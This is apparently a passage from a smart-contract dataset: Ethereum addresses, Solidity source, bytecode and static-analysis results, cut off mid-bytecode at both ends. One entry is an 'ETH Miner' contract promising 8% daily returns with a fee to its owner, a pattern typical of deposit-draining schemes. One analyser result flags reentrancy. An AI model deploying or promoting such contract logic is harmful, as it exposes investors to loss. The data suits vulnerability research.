5b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202c32a2b68bc15b7b558770e1190789002911d669871914f277c6f3d0f675d7ec64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
90
0x4d4a8a496e9648466aaa6283bbaa20d524b51fe8
/** *Submitted for verification at Etherscan.io on 2022-04-19 */ /* * Contract written by Obsidium Team * Name - Obsidium ETH Miner * Daily Return - 8% * APR - 2,920% * Obsidium Fee - 5% */ // SPDX-License-Identifier: MIT library SafeMath { /** * Obsidium Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * Obsidium Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * Obsidium Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * Obsidium Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * Obsidium Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * Obsidium Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * Obsidium Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * Obsidium Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * Obsidium Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * Obsidium Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * Obsidium Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * Obsidium Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * Obsidium Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } pragma solidity 0.8.9; /** * Obsidium Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * Obsidium Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * Obsidium Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ObsidiumETHMiner is Context, Ownable { using SafeMath for uint256; uint256 private CRYSTALS_TO_HATCH_1MINERS = 1080000; //for final version should be seconds in a day uint256 private PSN = 10000; uint256 private PSNH = 5000; uint256 private obsFeeVal = 5; bool private initialized = false; address payable private recAdd; mapping (address => uint256) private hatcheryMiners; mapping (address => uint256) private claimedCrystals; mapping (address => uint256) private lastHatch; mapping (address => address) private referrals; uint256 private marketCrystals; constructor() { recAdd = payable(msg.sender); } function hatchCrystals(address ref) public { require(initialized); if(ref == msg.sender) { ref = address(0); } if(referrals[msg.sender] == address(0) && referrals[msg.sender] != msg.sender) { referrals[msg.sender] = ref; } uint256 crystalsUsed = getMyCrystals(msg.sender); uint256 newMiners = SafeMath.div(crystalsUsed,CRYSTALS_TO_HATCH_1MINERS); hatcheryMiners[msg.sender] = SafeMath.add(hatcheryMiners[msg.sender],newMiners); claimedCrystals[msg.sender] = 0; lastHatch[msg.sender] = block.timestamp; //send referral crystals claimedCrystals[referrals[msg.sender]] = SafeMath.add(claimedCrystals[referrals[msg.sender]],SafeMath.div(crystalsUsed,8)); //boost market to nerf miners hoarding marketCrystals=SafeMath.add(marketCrystals,SafeMath.div(crystalsUsed,5)); } function sellCrystals() public { require(initialized); uint256 hasCrystals = getMyCrystals(msg.sender); uint256 crystalValue = calculateCrystalSell(hasCrystals); uint256 fee = obsFee(crystalValue); claimedCrystals[msg.sender] = 0; lastHatch[msg.sender] = block.timestamp; marketCrystals = SafeMath.add(marketCrystals,hasCrystals); recAdd.transfer(fee); payable (msg.sender).transfer(SafeMath.sub(crystalValue,fee)); } function obsidiumRewards(address adr) public view returns(uint256) { uint256 hasCrystals = getMyCrystals(adr); uint256 crystalValue = calculateCrystalSell(hasCrystals); return crystalValue; } function buyCrystals(address ref) public payable { require(initialized); uint256 crystalsBought = calculateCrystalBuy(msg.value,SafeMath.sub(address(this).balance,msg.value)); crystalsBought = SafeMath.sub(crystalsBought,obsFee(crystalsBought)); uint256 fee = obsFee(msg.value); recAdd.transfer(fee); claimedCrystals[msg.sender] = SafeMath.add(claimedCrystals[msg.sender],crystalsBought); hatchCrystals(ref); } function calculateTrade(uint256 rt,uint256 rs, uint256 bs) private view returns(uint256) { return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt))); } function calculateCrystalSell(uint256 crystals) public view returns(uint256) { return calculateTrade(crystals,marketCrystals,address(this).balance); } function calculateCrystalBuy(uint256 eth,uint256 contractBalance) public view returns(uint256) { return calculateTrade(eth,contractBalance,marketCrystals); } function calculateCrystalBuySimple(uint256 eth) public view returns(uint256) { return calculateCrystalBuy(eth,address(this).balance); } function obsFee(uint256 amount) private view returns(uint256) { return SafeMath.div(SafeMath.mul(amount,obsFeeVal),100); } function seedMarket() public payable onlyOwner { require(marketCrystals == 0); initialized = true; marketCrystals = 108000000000; } function getBalance() public view returns(uint256) { return address(this).balance; } function getMyMiners(address adr) public view returns(uint256) { return hatcheryMiners[adr]; } function getMyCrystals(address adr) public view returns(uint256) { return SafeMath.add(claimedCrystals[adr],getCrystalsSinceLastHatch(adr)); } function getCrystalsSinceLastHatch(address adr) public view returns(uint256) { uint256 secondsPassed=min(CRYSTALS_TO_HATCH_1MINERS,SafeMath.sub(block.timestamp,lastHatch[adr])); return SafeMath.mul(secondsPassed,hatcheryMiners[adr]); } function min(uint256 a, uint256 b) private pure returns (uint256) { return a < b ? a : b; } }
0x6080604052600436106100e85760003560e01c806368ea23221161008a578063f2fde38b11610059578063f2fde38b14610238578063f509e07614610258578063f747680d14610278578063fd3d75511461029857600080fd5b806368ea2322146101c6578063715018a6146101e65780638da5cb5b146101fb578063dd3951551461022357600080fd5b80633c5f07cb116100c65780633c5f07cb146101535780634b634b061461015d57806351783fc21461019357806357493d46146101b357600080fd5b806311e17993146100ed57806312065fe014610120578063141ad8ea14610133575b600080fd5b3480156100f957600080fd5b5061010d6101083660046108f4565b6102b8565b6040519081526020015b60405180910390f35b34801561012c57600080fd5b504761010d565b34801561013f57600080fd5b5061010d61014e36600461091d565b610323565b61015b610332565b005b34801561016957600080fd5b5061010d6101783660046108f4565b6001600160a01b031660009081526006602052604090205490565b34801561019f57600080fd5b5061010d6101ae3660046108f4565b61038a565b61015b6101c13660046108f4565b6103ab565b3480156101d257600080fd5b5061010d6101e136600461093f565b610464565b3480156101f257600080fd5b5061015b610476565b34801561020757600080fd5b506000546040516001600160a01b039091168152602001610117565b34801561022f57600080fd5b5061015b6104ea565b34801561024457600080fd5b5061015b6102533660046108f4565b6105cb565b34801561026457600080fd5b5061010d61027336600461093f565b610601565b34801561028457600080fd5b5061015b6102933660046108f4565b610610565b3480156102a457600080fd5b5061010d6102b33660046108f4565b610770565b6000806102f56001546102f04260086000886001600160a01b03166001600160a01b0316815260200190815260200160002054610796565b6107a2565b6001600160a01b03841660009081526006602052604090205490915061031c9082906107b8565b9392505050565b600061031c8383600a546107c4565b6000546001600160a01b031633146103655760405162461bcd60e51b815260040161035c90610958565b60405180910390fd5b600a541561037257600080fd5b6005805460ff191660011790556419254d3800600a55565b60008061039683610770565b905060006103a382610601565b949350505050565b60055460ff166103ba57600080fd5b60006103ca3461014e4734610796565b90506103de816103d983610804565b610796565b905060006103eb34610804565b60055460405191925061010090046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561042b573d6000803e3d6000fd5b5033600090815260076020526040902054610446908361081c565b3360009081526007602052604090205561045f83610610565b505050565b60006104708247610323565b92915050565b6000546001600160a01b031633146104a05760405162461bcd60e51b815260040161035c90610958565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60055460ff166104f957600080fd5b600061050433610770565b9050600061051182610601565b9050600061051e82610804565b33600090815260076020908152604080832083905560089091529020429055600a5490915061054d908461081c565b600a556005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561058e573d6000803e3d6000fd5b50336108fc61059d8484610796565b6040518115909202916000818181858888f193505050501580156105c5573d6000803e3d6000fd5b50505050565b6000546001600160a01b031633146105f55760405162461bcd60e51b815260040161035c90610958565b6105fe81610828565b50565b600061047082600a54476107c4565b60055460ff1661061f57600080fd5b6001600160a01b038116331415610634575060005b336000908152600960205260409020546001600160a01b03161580156106715750336000818152600960205260409020546001600160a01b031614155b1561069f5733600090815260096020526040902080546001600160a01b0319166001600160a01b0383161790555b60006106aa33610770565b905060006106ba826001546108e8565b336000908152600660205260409020549091506106d7908261081c565b336000908152600660209081526040808320939093556007808252838320839055600880835284842042905560098352848420546001600160a01b031684529152919020546107309161072b9085906108e8565b61081c565b336000908152600960209081526040808320546001600160a01b031683526007909152902055600a546107689061072b8460056108e8565b600a55505050565b6001600160a01b0381166000908152600760205260408120546104709061072b846102b8565b600061031c82846109a3565b60008183106107b1578161031c565b5090919050565b600061031c82846109ba565b60006103a36107d5600254846107b8565b6107ff60035461072b6107f96107ed6002548a6107b8565b61072b6003548c6107b8565b896108e8565b6108e8565b6000610470610815836004546107b8565b60646108e8565b600061031c82846109d9565b6001600160a01b03811661088d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161035c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600061031c82846109f1565b60006020828403121561090657600080fd5b81356001600160a01b038116811461031c57600080fd5b6000806040838503121561093057600080fd5b50508035926020909101359150565b60006020828403121561095157600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156109b5576109b561098d565b500390565b60008160001904831182151516156109d4576109d461098d565b500290565b600082198211156109ec576109ec61098d565b500190565b600082610a0e57634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212207a1af85f9a949f5ba88e202eb5c8f1a5b6b978a30ef9977f51b354db775435cb64736f6c63430008090033
{"success": true, "error": null, "results": {}}
91
0xfae9cd03c11e15cf611fd935bd66026fe6611d39
pragma solidity 0.4.21; /** * TOKEN Contract * ERC-20 Token Standard Compliant * @author Fares A. Akel C. f.antonio.akel@gmail.com */ /** * @title SafeMath by OpenZeppelin * @dev Math operations with safety checks that throw on error */ library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * Token contract interface for external use */ contract ERC20TokenInterface { function balanceOf(address _owner) public constant returns (uint256 value); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); } /** * @title Admin parameters * @dev Define administration parameters for this contract */ contract admined { //This token contract is administered address public admin; //Admin address is public bool public lockSupply; //Mint and Burn Lock flag bool public lockTransfer; //Transfer Lock flag address public allowedAddress; //an address that can override lock condition /** * @dev Contract constructor * define initial administrator */ function admined() internal { admin = msg.sender; //Set initial admin to contract creator emit Admined(admin); } /** * @dev Function to set an allowed address * @param _to The address to give privileges. */ function setAllowedAddress(address _to) onlyAdmin public { allowedAddress = _to; emit AllowedSet(_to); } modifier onlyAdmin() { //A modifier to define admin-only functions require(msg.sender == admin); _; } modifier supplyLock() { //A modifier to lock mint and burn transactions require(lockSupply == false); _; } modifier transferLock() { //A modifier to lock transactions require(lockTransfer == false || allowedAddress == msg.sender); _; } /** * @dev Function to set new admin address * @param _newAdmin The address to transfer administration to */ function transferAdminship(address _newAdmin) onlyAdmin public { //Admin can be transfered require(_newAdmin != 0); admin = _newAdmin; emit TransferAdminship(admin); } /** * @dev Function to set mint and burn locks * @param _set boolean flag (true | false) */ function setSupplyLock(bool _set) onlyAdmin public { //Only the admin can set a lock on supply lockSupply = _set; emit SetSupplyLock(_set); } /** * @dev Function to set transfer lock * @param _set boolean flag (true | false) */ function setTransferLock(bool _set) onlyAdmin public { //Only the admin can set a lock on transfers lockTransfer = _set; emit SetTransferLock(_set); } //All admin actions have a log for public review event AllowedSet(address _to); event SetSupplyLock(bool _set); event SetTransferLock(bool _set); event TransferAdminship(address newAdminister); event Admined(address administer); } /** * @title Token definition * @dev Define token paramters including ERC20 ones */ contract ERC20Token is ERC20TokenInterface, admined { //Standard definition of a ERC20Token using SafeMath for uint256; uint256 public totalSupply; mapping (address => uint256) balances; //A mapping of all balances per address mapping (address => mapping (address => uint256)) allowed; //A mapping of all allowances /** * @dev Get the balance of an specified address. * @param _owner The address to be query. */ function balanceOf(address _owner) public constant returns (uint256 value) { return balances[_owner]; } /** * @dev transfer token to a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) transferLock public returns (bool success) { require(_to != address(0)); //If you dont want that people destroy token balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev transfer token from an address to another specified address using allowance * @param _from The address where token comes. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transferFrom(address _from, address _to, uint256 _value) transferLock public returns (bool success) { require(_to != address(0)); //If you dont want that people destroy token allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Assign allowance to an specified address to use the owner balance * @param _spender The address to be allowed to spend. * @param _value The amount to be allowed. */ function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Get the allowance of an specified address to use another address balance. * @param _owner The address of the owner of the tokens. * @param _spender The address of the allowed spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * @dev Mint token to own address. * @param _mintedAmount amount to mint. */ function mintToken(uint256 _mintedAmount) onlyAdmin supplyLock public { require(totalSupply.add(_mintedAmount) < 250000000 * (10**18)); //Max supply ever balances[msg.sender] = SafeMath.add(balances[msg.sender], _mintedAmount); totalSupply = SafeMath.add(totalSupply, _mintedAmount); emit Transfer(0, this, _mintedAmount); emit Transfer(this, msg.sender, _mintedAmount); } /** * @dev Burn token from own address. * @param _burnedAmount amount to burn. */ function burnToken(uint256 _burnedAmount) onlyAdmin supplyLock public { balances[msg.sender] = SafeMath.sub(balances[msg.sender], _burnedAmount); totalSupply = SafeMath.sub(totalSupply, _burnedAmount); emit Burned(msg.sender, _burnedAmount); } /** * @dev This is an especial function to make massive tokens assignments * @param data array of addresses to transfer to * @param amount array of amounts to tranfer to each address */ function batch(address[] data,uint256[] amount) public { //It takes an array of addresses and an amount require(data.length == amount.length);//same array sizes for (uint i=0; i<data.length; i++) { //It moves over the array transfer(data[i],amount[i]); } } /** * @dev Log Events */ event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burned(address indexed _target, uint256 _value); } /** * @title Asset * @dev Initial supply creation * @notice Supply is initially unlocked for minting */ contract Asset is ERC20Token { string public name = 'Citereum'; uint8 public decimals = 18; string public symbol = 'CTR'; string public version = '1'; function Asset() public { totalSupply = 12500000 * (10**uint256(decimals)); //initial token creation balances[msg.sender] = totalSupply; emit Transfer(0, this, totalSupply); emit Transfer(this, msg.sender, balances[msg.sender]); } /** *@dev Function to handle callback calls */ function() public { revert(); } }
0x60606040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461012c578063095ea7b3146101b657806318160ddd146101ec5780631a9aea0a146102115780631b8fc2f01461022457806323b872dd14610245578063313ce5671461026d5780634cf781701461029657806354fd4d50146102c55780635be7cc16146102d857806370a08231146102f75780637b47ec1a1461031657806381eaf99b1461032c57806395d89b411461033f578063a9059cbb14610352578063bff3561814610374578063c00c4e9e1461038c578063c634d0321461041b578063dd62ed3e14610431578063f851a44014610456578063fa51a2bf14610469575b341561012757600080fd5b600080fd5b341561013757600080fd5b61013f610481565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017b578082015183820152602001610163565b50505050905090810190601f1680156101a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c157600080fd5b6101d8600160a060020a036004351660243561051f565b604051901515815260200160405180910390f35b34156101f757600080fd5b6101ff61058b565b60405190815260200160405180910390f35b341561021c57600080fd5b6101d8610591565b341561022f57600080fd5b610243600160a060020a03600435166105b3565b005b341561025057600080fd5b6101d8600160a060020a0360043581169060243516604435610636565b341561027857600080fd5b610280610792565b60405160ff909116815260200160405180910390f35b34156102a157600080fd5b6102a961079b565b604051600160a060020a03909116815260200160405180910390f35b34156102d057600080fd5b61013f6107aa565b34156102e357600080fd5b610243600160a060020a0360043516610815565b341561030257600080fd5b6101ff600160a060020a03600435166108b4565b341561032157600080fd5b6102436004356108cf565b341561033757600080fd5b6101d861099e565b341561034a57600080fd5b61013f6109bf565b341561035d57600080fd5b6101d8600160a060020a0360043516602435610a2a565b341561037f57600080fd5b6102436004351515610b31565b341561039757600080fd5b610243600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610bbf95505050505050565b341561042657600080fd5b610243600435610c1e565b341561043c57600080fd5b6101ff600160a060020a0360043581169060243516610d3c565b341561046157600080fd5b6102a9610d67565b341561047457600080fd5b6102436004351515610d76565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105175780601f106104ec57610100808354040283529160200191610517565b820191906000526020600020905b8154815290600101906020018083116104fa57829003601f168201915b505050505081565b600160a060020a03338116600081815260046020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60025481565b6000547501000000000000000000000000000000000000000000900460ff1681565b60005433600160a060020a039081169116146105ce57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790557f742e2ebd0014f6b28dbbce00d10b8f4f4a46f5b69d9a6224c87d0e733a8d997781604051600160a060020a03909116815260200160405180910390a150565b600080547501000000000000000000000000000000000000000000900460ff161580610670575060015433600160a060020a039081169116145b151561067b57600080fd5b600160a060020a038316151561069057600080fd5b600160a060020a03808516600090815260046020908152604080832033909416835292905220546106c7908363ffffffff610e0216565b600160a060020a03808616600081815260046020908152604080832033909516835293815283822094909455908152600390925290205461070e908363ffffffff610e0216565b600160a060020a038086166000908152600360205260408082209390935590851681522054610743908363ffffffff610e1416565b600160a060020a0380851660008181526003602052604090819020939093559190861690600080516020610e2b8339815191529085905190815260200160405180910390a35060019392505050565b60065460ff1681565b600154600160a060020a031681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105175780601f106104ec57610100808354040283529160200191610517565b60005433600160a060020a0390811691161461083057600080fd5b600160a060020a038116151561084557600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383811691909117918290557f4f2723059e5730f1d4ffa943789d401722067ca1121b828944c6965dbd303e089116604051600160a060020a03909116815260200160405180910390a150565b600160a060020a031660009081526003602052604090205490565b60005433600160a060020a039081169116146108ea57600080fd5b60005474010000000000000000000000000000000000000000900460ff161561091257600080fd5b600160a060020a0333166000908152600360205260409020546109359082610e02565b600160a060020a03331660009081526003602052604090205560025461095b9082610e02565b600255600160a060020a0333167f696de425f79f4a40bc6d2122ca50507f0efbeabbff86a84871b7196ab8ea8df78260405190815260200160405180910390a250565b60005474010000000000000000000000000000000000000000900460ff1681565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105175780601f106104ec57610100808354040283529160200191610517565b600080547501000000000000000000000000000000000000000000900460ff161580610a64575060015433600160a060020a039081169116145b1515610a6f57600080fd5b600160a060020a0383161515610a8457600080fd5b600160a060020a033316600090815260036020526040902054610aad908363ffffffff610e0216565b600160a060020a033381166000908152600360205260408082209390935590851681522054610ae2908363ffffffff610e1416565b600160a060020a038085166000818152600360205260409081902093909355913390911690600080516020610e2b8339815191529085905190815260200160405180910390a350600192915050565b60005433600160a060020a03908116911614610b4c57600080fd5b6000805475ff00000000000000000000000000000000000000000019167501000000000000000000000000000000000000000000831515021790557ff33f8ef436f631648b30f6761d8d417b93dc359444a28c3d5c5bdb05c10edc1681604051901515815260200160405180910390a150565b60008151835114610bcf57600080fd5b5060005b8251811015610c1957610c10838281518110610beb57fe5b90602001906020020151838381518110610c0157fe5b90602001906020020